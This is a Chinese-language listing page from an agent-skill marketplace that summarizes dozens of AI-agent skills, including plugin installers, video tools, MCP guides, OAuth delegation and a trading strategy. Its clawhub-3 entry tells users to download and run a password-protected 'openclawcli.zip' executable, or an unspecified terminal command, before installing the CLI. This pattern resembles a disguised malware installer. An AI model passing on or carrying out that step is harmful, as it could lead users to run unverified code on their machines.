bridge-plugin
bridge-plugin 是 agent-plugins-skills 中的全栈插件安装技能，用 Python 将插件组件（skills、commands、rules、hooks、MCP）安装到项目根目录 .agents/ 中央仓库并符号链接到各代理环境（Antigravity、Claude Code、Gemini、GitHub Copilot）。
Skill 广场
找到适合任务的 Agent Skill，阅读介绍并复制安装命令。
更新于 11-04 00:13
智能体与模型
25,595 个结果
write-a-skill
用于创建新的智能体技能（agent skill）的工具，帮助搭建规范结构、渐进式披露与打包资源，适用于用户想要创建、编写或构建新技能时。
plan-review-gate
plan-review-gate 是一个在保存非平凡计划或决策 RFC 后运行的审查门禁技能，通过可行性、完整性和范围对齐三项检查，以失败即阻断的方式阻止未通过审查的计划进入执行。
task-delegation
为编排者提供任务委派技能：把复杂任务按“活动”拆解，生成带 FOCUS/EXCLUDE 模板的智能体提示词，判断并行或串行执行策略，协调多个专家智能体并防止文件路径冲突。
codex-pet
codex-pet 是 RunComfy 上的一个 Codex Pet 生成技能，用于把一张参考图转换成 Codex 兼容的自定义桌面宠物资源，产出 pet.json 与 spritesheet.webp 两个文件。它通过 RunComfy CLI 调用 OpenAI GPT Image 2 的编辑接口生成一张标准 chibi 姿态图，再用 ImageMagick 做抠图、归一化与逐格微变换，拼装成 1536x1872、8 列 x 9 行的精灵图集，并复制到 ${CODEX_HOME:-$HOME/.codex}/pets/<name>/ 供 Codex 加载。相比官方 hatch-pet 技能（需要 Codex Pro 与 $imagegen），该技能只需要 RUNCOMFY_TOKEN 以及 runcomfy、magick 两个可执行程序即可运行，输出格式与官方一致。适合希望自定义 Codex Pet、希望通过 RunComfy Model API 生成、或需要基于文件夹批量生成宠物图的用户。
video-extend
video-extend 是一个通过 RunComfy CLI 调用 Google Veo 3-1 视频延长端点的技能，用于把已有视频片段续写下去，或按镜头逐段串联叙事。支持标准版与 Fast 版两种端点，需提供源视频 URL 和续写提示词。
video-explainer
video-explainer 是 claude-video-kit 仓库中的一个技能，用于将研究简报、已完成脚本或已生成的 MP4 转化为经过评审与验证的竖屏讲解视频。它强调本地生产与证据留存，明确不负责上传、发布、账号访问、凭据管理或托管渲染。该技能允许智能体先做能力评估，选择最简可行策略：当前模型直接产出成品、智能体组合工具，或回退到仓库自带的确定性 Remotion 流程；三条路径都必须通过客观 MP4 校验与独立的成品评审。本页版本为 v0.3.0-rc.1（2026-09-27），具体效果与耗时等资料暂未提供。
graphql-federation-offering
该技能用于指导平台架构师设计“外部合作伙伴如何向其公开 GraphQL 图谱贡献字段或数据”的方案。它提出一条从 Webhook 回调、应用自有扩展数据、平台接入连接器、平台托管连接器、平台中介扩展字段到隔离伙伴子图的六级扩展阶梯，强调不应将伙伴直接把子图合成进第一方生产超级图。技能先通过访谈澄清伙伴需求、伙伴数量与绑定方式、可见范围、数据敏感度、现有图谱栈、延迟 SLA、上线时间与投入上限，再按“存储数据/事件/实时数据/独立能力”对需求分类并选择梯级。文档涵盖伙伴契约（可扩展实体白名单、命名空间、只允许可空字段、指令策略、阻断式发布检查）、数据与凭证最小化（数据放行清单、派生粗粒度字段、按伙伴和租户签发的短期令牌、请求头白名单、受监管数据门禁）、故障半径控制（超时、熔断、请求级截止时间、成本模型、SSRF 校验、缓存隔离）以及可见性和生命周期管理。适用于设计平台 API 生态、评估已批准的伙伴扩展方案或审查发布清单。
sapiom-agent-builder
Sapiom Agent Builder 是一套用于构建并部署自主智能体脚本的技能，支持按计划运行、调用 LLM、抓取网页、存储数据并在无人工干预下执行动作。适用于“帮我构建一个智能体”“按计划自动化 X”“监控/抓取/总结机器人”等请求。
mcp-server
面向 Model Context Protocol (MCP) 服务器全生命周期的中文技能：涵盖协议版本、传输选择、五层骨架、工具设计、安全加固、版本维护、测试与发布，基于 MCP 2025-11-25 规范与官方 TypeScript SDK。
turbine-strategy
TURBINE v3.3 是面向 Hyperliquid 的成交量轮动策略技能，采用双钱包（volume 与 runners）加单一 producer 守护进程架构，两钱包共享同一套轮动信号但使用不同 DSL 退出配置，以在控制成本的前提下放大名义成交量。
claudeemailmarketing
一个面向 AI 代理的邮件营销技能，用于在 Claude 辅助下进行定位、分群、生命周期内容与营销评审。强调把 Claude 当作策略师与批评者而非自动驾驶，每条信息需锚定分群、信念改变与可衡量的下一步。
claudeemailskill
面向 Claude 等 AI 智能体的邮件工作技能，用于邮件简报、活动草稿、评审与改写循环及人工审核，强调可审查、可追溯与安全交接。
llm-torch-profiler-analysis
用于 sglang、vLLM、TensorRT-LLM 与 TokenSpeed 的统一 LLM torch profiler 分析技能，可检查已有 trace.json(.gz) 或对在线服务做 profiling，输出 kernel、overlap、fuse 三类表格。
agent-notion
agent-notion 是一个安装于 $PATH 的 Notion 自动化 CLI，可搜索、读取与编辑 Notion 页面、数据库和块，输出为 NDJSON。支持官方 REST API 与 v3 桌面会话两种后端，并提供导出、历史、活动日志、反向链接及 Notion AI 等命令。
principle-separate-before-serializing-shared-state
该技能针对并发写入共享可变状态的问题，提出先分离、再串行化的处理原则。当多个并发执行者可能写入同一个文件、分支、键或状态对象时，先判断它们是否真的需要同一个可变对象；如果不需要，就消除共享。若共享是真实的，则用结构性手段强制串行化，例如锁文件、顺序阶段、独占所有权或原子比较交换。文档强调指令和约定不能替代并发控制，因为并发写入会造成间歇性、难以复现且调试成本高的竞态条件。
agent-evals
用于为 AI 智能体搭建自动化评估套件的技能文档，涵盖金标数据集、评分标准与回归门禁，适用于发布智能体功能、修改提示词、加入 CI 质量与安全门禁、构建工具调用回归测试及验证 RAG 检索准确度等场景。
superwork
Superwork 是一个将复杂任务按“研究 → 构建 → 验证”循环分阶段执行的技能。根会话始终保持为可见的责任主体：负责框定任务、派发工作、汇报进度、验证结果并做出决策；辅助角色只承担边界明确的研究、实现或评审工作。Superwork 在每个根会话开始时默认关闭，其状态仅作为会话内的布尔值由根会话持有，不写入文件，也不被会话继承。通过 `/skill:superwork on`、`off`、`status` 控制，或直接传入任意非空参数作为一次性任务执行。核心原则包括：未通过验证不得标记阶段完成、根会话不得委托整个工作流、同一时间仅一个写入者、阶段边界记录状态以便中断后恢复、重大决策须向用户升级、计划与现实冲突时应停下重新规划。
mcp-integration
用于在 Claude Code 插件中集成 Model Context Protocol（MCP）的技能，帮助把外部服务与 API 以结构化工具形式接入插件，支持 .mcp.json 或 plugin.json 内联配置、多种传输类型与认证方式。
skill-search
skill-search 是一个用于搜索 Agent Skills Catalog 的技能，可按关键词、供应商或分类查找技能，并支持查看技能详情与 JSON 格式输出。
cocoscout
CocoScout 是 CocoPlus 中的一个后台子智能体（subagent），用于按相关性排序加载上下文。它在 UserPromptSubmit 钩子管线中属于 Tier 2 异步操作，运行在 Haiku 模型上，时间预算为 5 秒以内，并采用 fire-and-forget 方式触发，不会阻塞钩子返回。它会分析当前任务描述，识别 persona 类型、任务中提到的 Snowflake 对象名称以及 Cortex AI 函数名称，然后从 CocoGrove 模式、CocoContext 标准、Environment Inspector 快照、提示词考古、CocoDream 经验等上下文中打分排序，选出最相关的内容注入到智能体会话。CocoScout 从不直接与开发者交互，运行结束后会向 .cocoplus/hook-log.jsonl 追加审计记录，超时或缺失的来源会优雅降级并写入错误日志。
orderly-one
Orderly One 是 Orderly Network 上的 DEX 构建与管理工具，可创建、定制并运营自己的去中心化交易所，继承共享流动性与跨链结算。
clawhub-3
ClawHub CLI 是一个用于在 clawhub.ai 注册表中搜索、安装、更新和发布 agent 技能的命令行工具，支持高级缓存与压缩。它适合在需要即时获取新技能、将已安装技能同步到最新或指定版本，或发布新/更新技能文件夹时使用，并注重性能优化。使用前需先安装并运行 openclawcli 工具：Windows 下载 openclawcli.zip（解压密码 openclaw）并运行可执行文件，macOS 需访问指定页面并在终端执行安装命令；随后通过 npm i -g clawhub 全局安装。发布技能需要登录认证（clawhub login）。主要命令包括搜索（clawhub search）、安装（clawhub install，支持指定版本、目录、多技能）、更新（clawhub update，支持指定版本、--all、--force、--no-input）、列表（clawhub list）和发布（clawhub publish，支持 slug、名称、版本、描述、标签、changelog）。还提供环境变量和 ~/.clawhubrc 配置、批量操作、Shell 脚本与 CI/CD 集成示例、故障排查与最佳实践。未提供收费或价格信息。
tapauth
TapAuth 是一个面向 AI 智能体的委托访问（Delegated Access）工具，用于在不直接处理用户凭据的情况下获取 OAuth 令牌。用户在自己的浏览器中完成授权，智能体则拿到受限作用域（scope）的 bearer token。该技能内置一个 CLI 脚本 scripts/tapauth.sh，提供两种模式：默认模式用于创建授权请求并输出审批 URL，--token 模式用于轮询等待授权通过并返回令牌。首次使用某服务商时，需先运行默认模式拿到审批 URL 展示给用户，再立即以 $(...) 内联方式调用 --token 执行 API 请求。支持 Google（Calendar、Gmail、Drive、Sheets、Docs 等）、GitHub、Slack、Linear、Notion、Vercel、Sentry、Asana、Discord、Apify 等服务商，无需 API key 或 client secret，零配置即可使用。令牌会自动缓存并支持刷新，采用零知识加密，TapAuth 不存储 grant_secret。